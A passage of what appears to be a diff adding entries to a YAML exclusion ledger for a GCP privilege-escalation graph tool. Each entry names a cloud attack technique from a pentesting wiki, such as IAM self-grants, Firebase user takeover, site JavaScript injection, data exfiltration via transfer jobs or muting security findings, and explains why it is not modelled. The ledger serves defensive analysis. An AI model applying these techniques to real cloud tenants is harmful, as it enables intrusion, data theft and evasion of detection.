src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#developer-connect + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#vertex-ai-search-discovery-engine + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineenginesdatastorescollectionssetiampolicy--self-grant-app-or-corpus-access + technique: Discovery Engine engines/dataStores/collections setIamPolicy self-grant + reason: Grants a new administrative or use role on the exact Gemini Enterprise app or corpus, but the GCP evaluator + lacks a resource-scoped privilege target and the linked-resource/persona join; do not infer project-wide access. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineidentitymappingstoresimportidentitymappings--inject-an-identity-mapping-to-bypass-per-document-acls + technique: importIdentityMappings ACL bypass + reason: "Maps an attacker identity into a group for per-document search ACLs; data access, no new cloud identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarc + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebase-app-hosting + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthusersupdate--take-over-an-application-user-or-set-privileged-custom-claims + technique: firebaseauth.users.update app-user takeover / custom claims + reason: "Compromises Firebase/Identity Platform application users and claim-based app roles, not a cloud IAM identity; out of the cloud-principal graph." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#service-account-signing-access--mint-firebase-custom-tokens-with-arbitrary-claims + technique: Mint Firebase custom tokens with SA signing access + reason: Yields Firebase application-user identities only; the SA signing/key prerequisites are modelled by the iam.yaml signBlob/signJwt/keys entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaseauthconfigsupdate--hijack-identity-platform-blocking-functions + technique: firebaseauth.configs.update blocking-function hijack + reason: Injects claims into application sign-ins and intercepts federated IdP tokens of app users; not a cloud IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#identitytoolkittenantssetiampolicy--self-grant-control-of-an-identity-platform-tenant + technique: identitytoolkit.tenants.setIamPolicy tenant self-grant + reason: "Administrative control of one Identity Platform tenant's application users; no cloud IAM identity or project privilege." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaserulesrulesetscreate--firebaserulesreleasesupdate--open-firestore-or-storage-data-through-security-rules + technique: Security Rules allow-all release + reason: "Opens Firestore/Storage data to client access; data access, no new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#cloud-healthcare-api + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iap + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infra-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#compute + technique: Page intro + reason: The introduction assumes an already compromised VM local account. Attached SA and OAuth scopes are configuration + facts, but local shell control and metadata reachability are runtime foothold facts; existing compute IAM-to-VM + entries do not establish them. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#compute + technique: Page intro + reason: Scenario introduction; no cloud IAM technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#looker + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#privilege-escalation-boundaries + technique: Looker privilege-escalation boundaries + reason: States that looker.instances.update is not an escalation; project setIamPolicy is the generic iam entry and the SCIM claim path is on the workload-identity-federation page. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre-lustregoogleapiscom + technique: Managed Lustre service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#read-a-cloud-storage-bucket-through-the-managed-lustre-transfer-service-agent + technique: Lustre importData/exportData service-agent bucket read + reason: "Confused-deputy read of Cloud Storage objects the Lustre service agent can read; data access, no token or new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#reclassified-operations + technique: Reclassified operations + reason: "Enumeration, data export/poisoning and deletion; no escalation." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#managed-kafka + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#no-standalone-managed-kafka-privilege-escalation-primitive-is-retained + technique: No Managed Kafka primitive + reason: The page states no standalone Managed Kafka privilege-escalation primitive is retained (Connect secret mounts are not a read oracle). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iam-principals--org-policies + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#generic-permission-patterns + technique: Generic permission patterns + reason: Triage guidance; no specific technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#serviceresourcesetiampolicy--self-grant-on-the-governed-resource + technique: "Generic ..setIamPolicy" + reason: "Generic pattern; concrete resource self-grants are modelled per service (data-only ones such as Managed AD, DNS, Binary Authorization and Metastore are data/config access, not new identities)." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iamserviceaccountsactas--a-code-executing-resource-write--run-as-an-attached-identity + technique: Generic actAs + code-executing resource write + reason: Generic pattern; each concrete service path is modelled by its service entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#vpc--networking + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#resource-iam-self-grants + technique: NCC hubs/groups setIamPolicy self-grant + reason: Grants hub or group administration to change inter-VPC reachability; network pivot without a new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#read-a-cloud-storage-bucket-through-the-parallelstore-service-agent + technique: Parallelstore service-agent bucket read + reason: "Confused-deputy read of Cloud Storage objects the Parallelstore service agent can read; data access, no token or new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#reclassified-operations + technique: Reclassified operations + reason: "Enumeration, export/import of data and deletion; no escalation." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthzpoliciescreate--update---grant-access-through-an-application-load-balancer-or-gateway + technique: authzPolicies create/update + reason: "Grants HTTP(S) reachability through a load balancer or gateway; network access, no IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthorizationpoliciesupdate---relax-an-attached-legacy-mesh-authorization-policy + technique: Relax legacy mesh authorization policy + reason: Network/application reachability to mesh services; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityservertlspoliciesupdate---permit-plaintext-alongside-mesh-mtls + technique: serverTlsPolicies permit plaintext + reason: "Removes the mTLS client-certificate requirement; network access, no IAM identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityaddressgroupsupdate---add-an-attacker-source-to-a-trusted-rule + technique: addressGroups add attacker source + reason: Network allowlist reach; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityinterceptdeploymentscreate---inject-an-inspection-appliance-into-a-trusted-deployment-group + technique: interceptDeployments inspection appliance + reason: "Traffic observation/interception; credentials seen in transit are opportunistic, no cloud identity is obtained by the permission." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecuritysetiampolicy---self-grant-control-of-one-policy-resource + technique: "networksecurity.*.setIamPolicy" + reason: "Self-grants control of one network policy resource, leading only to the network primitives above." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceslbtrafficextensions--wasmplugins--service-extensions-data-path-traffic-interception + technique: Service Extensions traffic/WASM interception + reason: Load-balancer data-path interception of application traffic; credentials in transit are opportunistic and no cloud identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesauthzextensions--service-extensions-authorization-callout-hijack-auth-bypass--request-context-exfil + technique: authzExtensions callout hijack + reason: Application auth bypass and request-context exfiltration at the load balancer; no cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesgoogletaggatewaypoliciescreate--update--first-party-javascript-injection-on-site-visitors-client-side-supply-chain + technique: googleTagGatewayPolicies JavaScript injection + reason: Client-side compromise of site visitors; not a cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager-pam + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager + technique: PAM overview + reason: "Background; entitlement creation is excluded because it already requires the scope's setIamPolicy." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#private-catalog + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#service-catalog-formerly-private-catalog + technique: Service Catalog intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubtopicssetiampolicy--pubsubsubscriptionssetiampolicy--self-grant-control-of-one-resource + technique: Pub/Sub topic/subscription setIamPolicy self-grant + reason: "Resource-bounded publish/consume/redirect control of one topic or subscription; data access, no new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--iamserviceaccountsactas--obtain-oidc-tokens-as-a-service-account + technique: Authenticated push subscription OIDC token + reason: Audience-bound OIDC can authenticate as the selected SA to a trusting receiver, but delivery, capture, + audience and receiver trust require evidence; it is not OAuth access to arbitrary Google APIs. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--write-through-a-more-privileged-export-identity + technique: Export subscription write through a privileged delivery identity + reason: "Confused-deputy write of topic messages into a protected bucket/table; data write within a fixed schema, no token or impersonation." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtime-configurator + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#cloud-runtime-configurator-runtimeconfiggoogleapiscom + technique: Runtime Configurator intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtimeconfigconfigssetiampolicy--self-grant-administration-of-one-config + technique: runtimeconfig.configs.setIamPolicy self-grant + reason: "Control of one config's variables and waiters; data access/poisoning with no fixed consumer identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#why-the-other-runtime-config-permissions-are-not-separate-privilege-escalations + technique: Other Runtime Config permissions + reason: "The page explains variable reads/writes, waiters and config creation are not escalations." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secret-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretsenablemanagedrotation--reset-a-cloud-sql-users-password-through-the-secret-identity + technique: enableManagedRotation Cloud SQL password reset + reason: Managed rotation can set a known Cloud SQL database-user password through the secret identity; model the + exact DB user and first-enable prerequisites. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#malicious-webhooks--event-exfiltration--authenticated-calls--persistence + technique: Malicious webhooks / service-account-authenticated delivery + reason: Event exfiltration is data access; authenticated delivery may carry a scoped SA OIDC token only with signing + authority, a matching event and a trusting receiver. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagersshkeyscreateany--implant-an-ssh-key-on-a-service-accounts-git-identity-pushfetch-as-the-sa + technique: sshkeys.createAny on a service account's git identity + reason: createAny plus actAs can grant Git fetch/push as the SA; repository IAM and key registration must be verified, + and this is not general Google API impersonation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#security-command-center + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#securitycentersourcessetiampolicy--self-grant-finding-control-on-one-organization-source + technique: securitycenter.sources.setIamPolicy finding control + reason: Control over findings of one source (defense evasion); no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#service-usage-and-service-management + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesdelete--full-managed-service-takedown-endpoints--api-gateway-dos + technique: servicemanagement.services.delete + reason: Denial of service. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage + technique: Page intro (Service Usage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage-serviceusagegoogleapiscom + technique: Service Usage overview + reason: Page states no direct Service Usage privilege-escalation primitive is retained; API enablement grants no IAM permission or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#reclassified-historical-claims + technique: "Reclassified historical claims (services.enable/use/disable, quotas, consumerpolicy, MCP policies, API keys)" + reason: "Prerequisite-only, quota/billing consumption, DoS or deprecated surfaces; API keys do not authenticate an IAM principal. No new identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#privilege-escalation-techniques + technique: Privilege Escalation Techniques (section heading) + reason: Container heading; its techniques are mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasessetiampolicy--spannerinstancessetiampolicy--grant-database-access + technique: spanner.databases/instances.setIamPolicy data-access self-grant + reason: "Grants row access on Spanner databases only; data access, no new GCP identity." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerbackupscopy--spannerbackupsrestoredatabase--recover-a-database-in-an-attacker-readable-instance + technique: Spanner backup copy/restore into attacker-readable instance + reason: Data exfiltration of database contents; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasesupdateddl--expand-a-fine-grained-database-role + technique: spanner.databases.updateDdl FGAC role expansion + reason: Expands SQL privileges inside one database; no Cloud IAM identity or permission gained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#cloud-storage + technique: Page intro (Cloud Storage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--inject-a-cloud-composer-dag + technique: storage.objects.create Composer DAG injection + reason: "Covered by catalog entry gcp-composer-bucket-write (composer.yaml), which models the same environment-bucket write to the Composer environment SA." +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vm-migration + technique: Page intro (VM Migration) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#migrate-to-virtual-machines + technique: Migrate to Virtual Machines overview + reason: Background on the host-project service agent; technique mapped separately. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine-gcve + technique: Page intro (VMware Engine) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine + technique: VMware Engine authorization planes overview + reason: Background section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload--workforce-identity-federation + technique: "Page intro (Workload & Workforce Identity Federation)" + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload-identity-federation + technique: Workload Identity Federation (section heading) + reason: Container heading; techniques mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-identity-federation + technique: Workforce Identity Federation (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#managed-workload-identities + technique: Managed workload identities (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam-principals--org-policies + technique: "Page intro (IAM, Principals & Org Policies)" + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#iam-principals--org-policies + technique: Page intro (Resource Manager) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#tagkeystagvaluessetiampolicy--self-grant-use-of-a-privileged-tag + technique: tagKeys/tagValues.setIamPolicy self-grant of Tag User + reason: Prerequisite to the tag-binding condition flip above; no identity edge on its own. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancessetiampolicy-to-self-grant-updatereset-then-inject-a-startup-script + technique: notebooks.instances.setIamPolicy self-grant then startup script + reason: Covered by the setIamPolicy branch of gcp-vertex-workbench-instance-update-or-setiampolicy (anchored at the update+reset heading). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#excluded-from-this-privilege-escalation-page + technique: "Excluded from this page (model/dataset export-import, Feature Store/Vector Search/metadata/RAG, tuningJobs, Deployment Resource Pools, Persistent Resources)" + reason: Page states these grant no new identity or caller-controlled execution; data access/poisoning or prerequisites only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containers--gke + technique: "Page intro (Containers & GKE)" + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#iam-principals--org-policies + technique: "Page intro (IAM, Principals & Org Policies)" + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#google-workspace-add-ons + technique: Page intro (Google Workspace add-ons) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsupdate--targeted-external-key-route-override-per-version-ekm-interception--dos + technique: cloudkms.cryptoKeyVersions.update external-key route override + reason: Redirects one EXTERNAL/EXTERNAL_VPC key version to another EKM route; interception of cryptographic requests or targeted DoS. The page states it does not grant Google Cloud IAM by itself; no identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-api-gateway-post-exploitation.md#apigatewayapiconfigscreate--actas--steal-an-sas-oidc-identity-token + technique: API Gateway backend-auth SA OIDC ID token theft + reason: Config creation plus actAs and gateway deployment can deliver a Google-signed audience-bound ID token + asserting the chosen SA. This can confer access to a relying service that trusts both audience and SA, + but it is not a general Google API OAuth token. The current SA target means general impersonation and would + be a false positive. A sound edge requires an audience-bound assertion target, exact relying-service trust + and gateway invocation facts, none represented here. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#queue-urioverride---passive-capture-of-every-task-the-application-enqueues + technique: Queue uriOverride passive capture of application tasks + reason: Documented as payload/header exfiltration with no token override; capture of per-task OAuth tokens attached by enqueuers is not documented (privesc-page twin also excluded). +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#iamserviceaccountsundelete---reactivate-a-deleted-privileged-identity + technique: Undelete a deleted privileged service account + reason: Restores residual bindings of a deleted SA but yields no credential; needs a separate existing path to act as the SA, and deleted SAs are not in the collected inventory. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#service-account-impersonation-and-confused-deputy-privesc + technique: Historical confused-deputy vulnerabilities (ConfusedFunction, Bad.Build, ConfusedComposer, ...) + reason: Patched historical vulnerabilities; the still-valid variants are modelled by gcp-cloudbuild-builds-create-default-identity, gcp-composer-environments-update, gcp-vertex-customjob-custom-code-agent and gcp-configcontroller-kcc-resource-write. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#interesting-permissions-write--rolesmigrationcenteradmin-basic-editorowner + technique: Migration Center discovery client bound to a service account + reason: Page labels it only a potential actAs-gated angle; the discovery client is an on-premises collector and no credential/code-exec path as the SA is documented. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-api-gateway-enum.md#relevant-permissions + technique: API Gateway backend-auth SA (enumeration page) + reason: Same audience-bound ID-token primitive as the API Gateway post-exploitation heading; requires a relying + service trusting the selected audience and SA. Do not model it as general SA impersonation or an OAuth + access token. +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#cloudbuildyml + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: "REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected." +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: "REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected." +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#sa-permissions + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: "REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected." +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: "REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected." +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md#compromise-external-repository + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: "REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected." +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuesupdate---retryrate-tampering-and-stealth-traffic-capture + technique: Queue retry/rate tampering and uriOverride traffic capture + reason: DoS plus payload capture; attaching a token SA at queue level needs actAs (re-enforced at enqueue), OIDC tokens are audience-bound; see the privesc-page uriOverride exclusion. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#build-time-code-execution-as-the-build-service-account-via---source + technique: Build-time code execution as the build SA via run deploy --source + reason: 'Duplicate of existing edges: the documented minimum (run.services/jobs create or update + actAs on the build SA) equals gcp-run-services-create-actas / gcp-run-services-update-actas / gcp-run-jobs-create-run-actas / gcp-run-jobs-update-run-actas, which already reach every SA the source can actAs; the Cloud Build submission and the no-actAs legacy/default builder are modelled by gcp-cloudbuild-builds-create-custom-sa-actas and gcp-cloudbuild-builds-create-default-identity.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#differences-from-dms-and-negative-results + technique: Datastream private connection reachability, profile metadata reads, vestigial resource IAM + reason: privateConnections.create only gives the Datastream service agent network reachability (VPC peering / PSC interface) for data copy-out; GET leaks non-secret metadata; resource setIamPolicy endpoints return 404. No identity gain (data access / recon). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-support-post-exploitation.md#cloudsupporttechcaseslist--get--mine-support-cases-and-incident-artifacts + technique: cloudsupport.techCases.list / .get — mine support cases and incident artifacts + reason: 'No configuration-derived second identity: support case data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaidatasetslistdocuments--documentaidatasetsgetdocuments---extract-stored-dataset-documents + technique: documentai.datasets.listDocuments + documentai.datasets.getDocuments - extract stored dataset documents + reason: 'No configuration-derived second identity: document data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaiprocessorversionscreate---copy-a-trusted-source-processor-version-cross-project + technique: documentai.processorVersions.create - copy a trusted source processor version cross-project + reason: 'No configuration-derived second identity: model copy via standing trust.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recommender-post-exploitation.md#recommenderrecommendationsupdate--insightsupdate--suppress-or-freeze-findings + technique: recommender.*Recommendations.update / *Insights.update — suppress or freeze findings + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobsupdate--run--repoint-an-authorized-job + technique: storagetransfer.jobs.update + run — repoint an authorized job + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobscreate--run--copy-agent-readable-data-to-an-attacker-sink + technique: storagetransfer.jobs.create + run — copy agent-readable data to an attacker sink + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#create-or-change-a-mute-rule + technique: Create or change a mute rule + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-pubsub-notification-configuration + technique: Delete or alter a Pub/Sub notification configuration + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-bigquery-continuous-export + technique: Delete or alter a BigQuery continuous export + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-an-etd-or-sha-custom-module + technique: Delete an ETD or SHA custom module + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggersupdate--redirect-an-existing-standard-event-stream + technique: eventarc.triggers.update — redirect an existing Standard event stream + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, + while changing the token SA requires actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcenrollmentsupdate--redirect-or-broaden-an-advanced-bus-subscription + technique: eventarc.enrollments.update — redirect or broaden an Advanced bus subscription + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, + while changing the token SA requires actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggerscreate--copy-future-event-payloads-to-an-attacker-controlled-destination + technique: eventarc.triggers.create — copy future event payloads to an attacker-controlled destination + reason: Copies or redirects future event payloads; an OAuth-authenticated 